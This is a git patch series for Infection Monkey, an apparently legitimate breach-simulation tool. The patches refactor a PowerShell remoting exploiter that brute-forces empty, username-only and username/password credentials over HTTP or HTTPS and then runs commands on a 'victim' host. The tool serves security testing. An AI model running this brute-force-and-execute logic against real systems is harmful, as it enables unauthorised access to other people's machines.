From b2e1b28059e298ae564e0bf82f453a5b73a3bce6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 1 Sep 2021 14:21:57 +0300 Subject: [PATCH 1/4] Add the capability to exploit powershell remoting over HTTP and improve the code style --- monkey/infection_monkey/Pipfile | 1 + monkey/infection_monkey/Pipfile.lock | 30 +++--- monkey/infection_monkey/exploit/powershell.py | 84 ++++++++++++----- .../exploit/powershell_utils/auth_options.py | 10 ++ .../powershell_utils/credential_generation.py | 46 +++++++++ .../exploit/powershell_utils/utils.py | 94 ++++++++----------- 6 files changed, 170 insertions(+), 95 deletions(-) create mode 100644 monkey/infection_monkey/exploit/powershell_utils/auth_options.py create mode 100644 monkey/infection_monkey/exploit/powershell_utils/credential_generation.py diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 75d430e9e..5c63ff709 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -30,6 +30,7 @@ WMI = {version = "==1.5.1", sys_platform = "== 'win32'"} ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl pypsrp = "*" +typing-extensions = "*" [dev-packages] diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 7fa4d4807..53ff20a64 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "60705d888d53c68aebc3a324b4f22e472f35ed152c2e506d475fe639feb7e359" + "sha256": "96a125018d143a7446fe9b2849991c00d79f37c433694db77e616c1135baeaf9" }, "pipfile-spec": 6, "requires": { @@ -69,19 +69,19 @@ }, "boto3": { "hashes": [ - "sha256:7209b79833bdf13753aa24f76bf533890ffed2cc4fe1fe08619d223c209bbd11", - "sha256:f46c93d09acd4d4bfc6b9522ed852fecbdc508e0365f29ddfb3c146aae784b4e" + "sha256:461f659c06f9f56693cebbca70b11866f096021eafbd949a3c029c3a8adee6a4", + "sha256:596d2afda27ae3d9a10112a475aa25c4d6b5cf023919e370ad8e6c6ae04d57a6" ], "markers": "python_version >= '3.6'", - "version": "==1.18.27" + "version": "==1.18.33" }, "botocore": { "hashes": [ - "sha256:8c99abd7093ab11ce8d09c68732aeeb6065a53d2fe371568452e99291817fff5", - "sha256:b9e2c90bad164d111c229102f58f995c28576e719dd116b446965e1b786f8fa5" + "sha256:204327b9a33e3ae5207ff9acdd7d3b6d1f99f5dc9165a4d843d6f1a566f3006c", + "sha256:b321b570a0da4c6280e737d817c8f740bce0ef914f564e1c27246c7ae76b4c31" ], "markers": "python_version >= '3.6'", - "version": "==1.21.27" + "version": "==1.21.33" }, "certifi": { "hashes": [ @@ -441,11 +441,11 @@ }, "minidump": { "hashes": [ - "sha256:7f341d62b5a6ea961d6230e35c2cb68c5b1d258403411b6e4c58aa0c317cf498", - "sha256:b9fe0a65cf42d60591807bb8b6d9357e92f6a46f2851befdbaf08894722d07ff" + "sha256:67b3327cb96e319633653a353c6281703772335dc84797d6fdce7daf0b3be077", + "sha256:fdd9eb4566b6d3dabc205bf644ded724067bdbdb453eb418565261e5520b3537" ], "markers": "python_version >= '3.6'", - "version": "==0.0.18" + "version": "==0.0.19" }, "minikerberos": { "hashes": [ @@ -969,12 +969,12 @@ }, "typing-extensions": { "hashes": [ - "sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497", - "sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342", - "sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84" + "sha256:49f75d16ff11f1cd258e1b988ccff82a3ca5570217d7ad8c5f48205dd99a677e", + "sha256:d8226d10bc02a29bcc81df19a26e56a9647f8b0a6d4a83924139f4a8b01f17b7", + "sha256:f1d25edafde516b146ecd0613dabcc61409817af4766fbbcfb8d1ad4ec441a34" ], - "markers": "python_version < '3.8'", - "version": "==3.10.0.0" + "index": "pypi", + "version": "==3.10.0.2" }, "urllib3": { "hashes": [ diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index f109724da..8a6aa9927 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -4,7 +4,7 @@ from typing import Optional, Union import pypsrp import spnego -from pypsrp.client import Client +from pypsrp.exceptions import AuthenticationError from pypsrp.powershell import PowerShell, RunspacePool from urllib3 import connectionpool @@ -13,6 +13,12 @@ from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils import utils +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.credential_generator import CredentialGenerator +from infection_monkey.exploit.powershell_utils.utils import ( + IClient, + get_client_based_on_auth_options, +) from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os from infection_monkey.model import GET_ARCH_WINDOWS, VictimHost from infection_monkey.utils.environment import is_windows_os @@ -41,49 +47,79 @@ class PowerShellExploiter(HostExploiter): logging.getLogger(package.__name__).setLevel(logging.ERROR) def _exploit_host(self): - self.client = self._authenticate_via_brute_force() + is_https = self._is_client_using_https() + credentials = CredentialGenerator( + self.host.ip_addr, + self._config.exploit_user_list, + self._config.exploit_password_list, + is_windows_os(), + ).get_credentials(is_https=is_https) + + self.client = self._authenticate_via_brute_force(credentials) if not self.client: return False return self._execute_monkey_agent_on_victim() - def _authenticate_via_brute_force(self) -> Optional[Client]: - credentials = utils.get_credentials( - self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os() - ) + def _is_client_using_https(self) -> bool: + try: + self._try_http() + return False + except AuthenticationError: + return False + except Exception: + pass - for username, password in credentials: + try: + self._try_https() + return True + except AuthenticationError: + return True + except Exception: + raise Exception("Powershell remoting seems to be disabled.") + + def _try_http(self): + auth_options_http = AuthOptions( + ip_addr=self.host.ip_addr, + username=self._config.exploit_user_list[0], + password=self._config.exploit_password_list[0], + is_https=False, + ) + self._authenticate(auth_options_http) + + def _try_https(self): + auth_options_http = AuthOptions( + ip_addr=self.host.ip_addr, + username=self._config.exploit_user_list[0], + password=self._config.exploit_password_list[0], + is_https=True, + ) + self._authenticate(auth_options_http) + + def _authenticate_via_brute_force(self, credentials: [AuthOptions]) -> Optional[IClient]: + for credential in credentials: try: - client = self._authenticate(username, password) + client = PowerShellExploiter._authenticate(credential) LOG.info( f"Successfully logged into {self.host.ip_addr} using Powershell. User: " - f"{username}" + f"{credential.username}" ) - self.report_login_attempt(True, username, password) + self.report_login_attempt(True, credential.username, credential.password) return client except Exception as ex: # noqa: F841 LOG.debug( f"Error logging into {self.host.ip_addr} using Powershell. User: " - f"{username}, Error: {ex}" + f"{credential.username}, Error: {ex}" ) - self.report_login_attempt(False, username, password) + self.report_login_attempt(False, credential.username, credential.password) return None - def _authenticate(self, username: Optional[str], password: Optional[str]) -> Client: - (ssl, auth, encryption) = utils.get_powershell_client_params(password) - client = Client( - self.host.ip_addr, - username=username, - password=password, - cert_validation=False, - ssl=ssl, - auth=auth, - encryption=encryption, - connection_timeout=3, - ) + @staticmethod + def _authenticate(auth_options: AuthOptions) -> IClient: + client = get_client_based_on_auth_options(auth_options) # attempt to execute dir command to know if authentication was successful client.execute_cmd("dir") diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py new file mode 100644 index 000000000..2ffd16848 --- /dev/null +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -0,0 +1,10 @@ +from dataclasses import dataclass +from typing import Union + + +@dataclass +class AuthOptions: + ip_addr: str + username: Union[str, None] + password: Union[str, None] + is_https: bool diff --git a/monkey/infection_monkey/exploit/powershell_utils/credential_generation.py b/monkey/infection_monkey/exploit/powershell_utils/credential_generation.py new file mode 100644 index 000000000..a376555ca --- /dev/null +++ b/monkey/infection_monkey/exploit/powershell_utils/credential_generation.py @@ -0,0 +1,46 @@ +from itertools import product +from typing import List + +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions + + +def get_credentials( + usernames: List[str], passwords: List[str], is_windows: bool, is_https: bool +) -> List[AuthOptions]: + credentials = [] + credentials.extend(_get_empty_credentials(is_windows)) + credentials.extend(_get_username_only_credentials(usernames, is_windows)) + credentials.extend(_get_username_password_credentials(usernames, passwords, is_https=is_https)) + + return credentials + + +def _get_empty_credentials(is_windows: bool) -> List[AuthOptions]: + if is_windows: + return [AuthOptions(username=None, password=None, is_https=False)] + + return [] + + +def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[AuthOptions]: + credentials = [ + AuthOptions(username=username, password="", is_https=False) for username in usernames + ] + + if is_windows: + credentials.extend( + [AuthOptions(username=username, password=None, is_https=True) for username in usernames] + ) + + return credentials + + +def _get_username_password_credentials( + usernames: List[str], passwords: List[str], is_https: bool +) -> List[AuthOptions]: + username_password_pairs = product(usernames, passwords) + + return [ + AuthOptions(credentials[0], credentials[1], is_https=is_https) + for credentials in username_password_pairs + ] diff --git a/monkey/infection_monkey/exploit/powershell_utils/utils.py b/monkey/infection_monkey/exploit/powershell_utils/utils.py index 1da859fe9..d426cc6f9 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/utils.py +++ b/monkey/infection_monkey/exploit/powershell_utils/utils.py @@ -1,63 +1,10 @@ -from itertools import product -from typing import List, Optional, Tuple +from pypsrp.client import Client +from typing_extensions import Protocol +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import build_monkey_commandline -AUTH_BASIC = "basic" -AUTH_NEGOTIATE = "negotiate" -ENCRYPTION_AUTO = "auto" -ENCRYPTION_NEVER = "never" - - -def get_credentials( - usernames: List[str], passwords: List[str], is_windows: bool -) -> List[Tuple[Optional[str], Optional[str]]]: - # When username or password is None, this instructs the powershell client to attempt to use - # The current user's credentials. This is only valid if the client is running from a Windows - # machine. - - credentials = [] - credentials.extend(_get_empty_credentials(is_windows)) - credentials.extend(_get_username_only_credentials(usernames, is_windows)) - credentials.extend(_get_username_password_credentials(usernames, passwords)) - - return credentials - - -def _get_empty_credentials(is_windows: bool) -> List[Tuple[None, None]]: - if is_windows: - return [(None, None)] - - return [] - - -def _get_username_only_credentials( - usernames: List[str], is_windows: bool -) -> List[Tuple[str, Optional[str]]]: - credentials = [(username, "") for username in usernames] - - if is_windows: - credentials.extend([(username, None) for username in usernames]) - - return credentials - - -def _get_username_password_credentials( - usernames: List[str], passwords: List[str] -) -> List[Tuple[str, str]]: - username_password_pairs = product(usernames, passwords) - - return [credentials for credentials in username_password_pairs] - - -def get_powershell_client_params(password: str) -> Tuple[bool, str, str]: - ssl = password != "" - auth = AUTH_NEGOTIATE if password != "" else AUTH_BASIC - encryption = ENCRYPTION_AUTO if password != "" else ENCRYPTION_NEVER - - return (ssl, auth, encryption) - def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str: monkey_params = build_monkey_commandline( @@ -72,3 +19,38 @@ def build_monkey_execution_command(host: VictimHost, depth: int, executable_path "monkey_type": DROPPER_ARG, "parameters": monkey_params, } + + +AUTH_BASIC = "basic" +AUTH_NEGOTIATE = "negotiate" +ENCRYPTION_AUTO = "auto" +ENCRYPTION_NEVER = "never" + +CONNECTION_TIMEOUT = 3 # Seconds + + +class IClient(Protocol): + def execute_cmd(self, cmd: str): + pass + + +def get_client_based_on_auth_options(auth_options: AuthOptions) -> IClient: + + # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER + if auth_options.password == "": + ssl = False + else: + ssl = auth_options.is_https + auth = AUTH_NEGOTIATE if auth_options.password != "" else AUTH_BASIC + encryption = ENCRYPTION_AUTO if auth_options.password != "" else ENCRYPTION_NEVER + + return Client( + auth_options.ip_addr, + username=auth_options.username, + password=auth_options.password, + cert_validation=False, + ssl=ssl, + auth=auth, + encryption=encryption, + connection_timeout=CONNECTION_TIMEOUT, + ) From b82f4e157ae59627e29a14b5812e4383d2a9dc51 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 1 Sep 2021 15:25:13 +0300 Subject: [PATCH 2/4] Add logging to powershell exploiter in the case where powershell remoting seems to be disabled --- monkey/infection_monkey/exploit/powershell.py | 22 ++++++++++++++----- 1 file changed, 17 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 8a6aa9927..8a86f8c39 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -28,6 +28,10 @@ LOG = logging.getLogger(__name__) TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin" +class PowerShellRemotingDisabledError(Exception): + pass + + class PowerShellExploiter(HostExploiter): _TARGET_OS_TYPE = ["windows"] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE @@ -47,7 +51,12 @@ class PowerShellExploiter(HostExploiter): logging.getLogger(package.__name__).setLevel(logging.ERROR) def _exploit_host(self): - is_https = self._is_client_using_https() + try: + is_https = self._is_client_using_https() + except PowerShellRemotingDisabledError as e: + logging.info(e) + return False + credentials = CredentialGenerator( self.host.ip_addr, self._config.exploit_user_list, @@ -63,20 +72,23 @@ class PowerShellExploiter(HostExploiter): def _is_client_using_https(self) -> bool: try: + logging.debug("Checking if powershell remoting is enabled over HTTP.") self._try_http() return False except AuthenticationError: return False - except Exception: - pass + except Exception as e: + logging.debug(f"Powershell remoting over HTTP seems disabled: {e}") try: + logging.debug("Checking if powershell remoting is enabled over HTTPS.") self._try_https() return True except AuthenticationError: return True - except Exception: - raise Exception("Powershell remoting seems to be disabled.") + except Exception as e: + logging.debug(f"Powershell remoting over HTTPS seems disabled: {e}") + raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.") def _try_http(self): auth_options_http = AuthOptions( From aedc666e8ff657681d9c1408a619f82783a1541b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 1 Sep 2021 16:12:25 +0300 Subject: [PATCH 3/4] Remove IP address from AuthOptions in powershell --- monkey/infection_monkey/exploit/powershell.py | 17 +++++++---------- .../exploit/powershell_utils/auth_options.py | 1 - .../exploit/powershell_utils/utils.py | 4 ++-- 3 files changed, 9 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 8a86f8c39..69e7afe95 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -14,7 +14,7 @@ from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils import utils from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions -from infection_monkey.exploit.powershell_utils.credential_generator import CredentialGenerator +from infection_monkey.exploit.powershell_utils.credential_generation import get_credentials from infection_monkey.exploit.powershell_utils.utils import ( IClient, get_client_based_on_auth_options, @@ -57,12 +57,12 @@ class PowerShellExploiter(HostExploiter): logging.info(e) return False - credentials = CredentialGenerator( - self.host.ip_addr, + credentials = get_credentials( self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os(), - ).get_credentials(is_https=is_https) + is_https=is_https, + ) self.client = self._authenticate_via_brute_force(credentials) if not self.client: @@ -92,7 +92,6 @@ class PowerShellExploiter(HostExploiter): def _try_http(self): auth_options_http = AuthOptions( - ip_addr=self.host.ip_addr, username=self._config.exploit_user_list[0], password=self._config.exploit_password_list[0], is_https=False, @@ -101,7 +100,6 @@ class PowerShellExploiter(HostExploiter): def _try_https(self): auth_options_http = AuthOptions( - ip_addr=self.host.ip_addr, username=self._config.exploit_user_list[0], password=self._config.exploit_password_list[0], is_https=True, @@ -111,7 +109,7 @@ class PowerShellExploiter(HostExploiter): def _authenticate_via_brute_force(self, credentials: [AuthOptions]) -> Optional[IClient]: for credential in credentials: try: - client = PowerShellExploiter._authenticate(credential) + client = self._authenticate(credential) LOG.info( f"Successfully logged into {self.host.ip_addr} using Powershell. User: " @@ -129,9 +127,8 @@ class PowerShellExploiter(HostExploiter): return None - @staticmethod - def _authenticate(auth_options: AuthOptions) -> IClient: - client = get_client_based_on_auth_options(auth_options) + def _authenticate(self, auth_options: AuthOptions) -> IClient: + client = get_client_based_on_auth_options(self.host.ip_addr, auth_options) # attempt to execute dir command to know if authentication was successful client.execute_cmd("dir") diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py index 2ffd16848..09b5d3e8b 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -4,7 +4,6 @@ from typing import Union @dataclass class AuthOptions: - ip_addr: str username: Union[str, None] password: Union[str, None] is_https: bool diff --git a/monkey/infection_monkey/exploit/powershell_utils/utils.py b/monkey/infection_monkey/exploit/powershell_utils/utils.py index d426cc6f9..b6198141d 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/utils.py +++ b/monkey/infection_monkey/exploit/powershell_utils/utils.py @@ -34,7 +34,7 @@ class IClient(Protocol): pass -def get_client_based_on_auth_options(auth_options: AuthOptions) -> IClient: +def get_client_based_on_auth_options(ip_addr: str, auth_options: AuthOptions) -> IClient: # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER if auth_options.password == "": @@ -45,7 +45,7 @@ def get_client_based_on_auth_options(auth_options: AuthOptions) -> IClient: encryption = ENCRYPTION_AUTO if auth_options.password != "" else ENCRYPTION_NEVER return Client( - auth_options.ip_addr, + ip_addr, username=auth_options.username, password=auth_options.password, cert_validation=False, From 47393b2d55432093f78a2621397ab6b4c5605257 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 1 Sep 2021 17:33:27 +0300 Subject: [PATCH 4/4] Fix powershell credential generation tests to use AuthOptions class --- .../exploit/powershell_utils/test_utils.py | 56 ++++++------------- 1 file changed, 17 insertions(+), 39 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py index 7f56f8613..65ecea49e 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py @@ -1,72 +1,50 @@ from infection_monkey.exploit.powershell_utils import utils +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.credential_generation import get_credentials from infection_monkey.model.host import VictimHost -TEST_USERS = ["user1", "user2"] +TEST_USERNAMES = ["user1", "user2"] TEST_PASSWORDS = ["p1", "p2"] def test_get_credentials__empty_windows_true(): - credentials = utils.get_credentials([], [], True) + credentials = get_credentials([], [], True, True) assert len(credentials) == 1 - assert credentials[0] == (None, None) + assert credentials[0] == AuthOptions(username=None, password=None, is_https=False) def test_get_credentials__empty_windows_false(): - credentials = utils.get_credentials([], [], False) + credentials = get_credentials([], [], False, True) assert len(credentials) == 0 def test_get_credentials__username_only_windows_true(): - credentials = utils.get_credentials(TEST_USERS, [], True) + credentials = get_credentials(TEST_USERNAMES, [], True, True) assert len(credentials) == 5 - assert (TEST_USERS[0], "") in credentials - assert (TEST_USERS[1], "") in credentials - assert (TEST_USERS[0], None) in credentials - assert (TEST_USERS[1], None) in credentials + assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials + assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials + assert AuthOptions(username=TEST_USERNAMES[0], password=None, is_https=True) in credentials + assert AuthOptions(username=TEST_USERNAMES[1], password=None, is_https=True) in credentials def test_get_credentials__username_only_windows_false(): - credentials = utils.get_credentials(TEST_USERS, [], False) + credentials = get_credentials(TEST_USERNAMES, [], False, True) assert len(credentials) == 2 - assert (TEST_USERS[0], "") in credentials - assert (TEST_USERS[1], "") in credentials + assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials + assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials def test_get_credentials__username_password_windows_true(): - credentials = utils.get_credentials(TEST_USERS, TEST_PASSWORDS, True) + credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True, True) assert len(credentials) == 9 - for user in TEST_USERS: + for user in TEST_USERNAMES: for password in TEST_PASSWORDS: - assert (user, password) in credentials - - -def test_get_powershell_client_params__password_none(): - (ssl, auth, encryption) = utils.get_powershell_client_params(None) - - assert ssl is True - assert auth == utils.AUTH_NEGOTIATE - assert encryption == utils.ENCRYPTION_AUTO - - -def test_get_powershell_client_params__password_str(): - (ssl, auth, encryption) = utils.get_powershell_client_params("1234") - - assert ssl is True - assert auth == utils.AUTH_NEGOTIATE - assert encryption == utils.ENCRYPTION_AUTO - - -def test_get_powershell_client_params__password_empty(): - (ssl, auth, encryption) = utils.get_powershell_client_params("") - - assert ssl is False - assert auth == utils.AUTH_BASIC - assert encryption == utils.ENCRYPTION_NEVER + assert AuthOptions(username=user, password=password, is_https=True) in credentials def test_build_monkey_execution_command():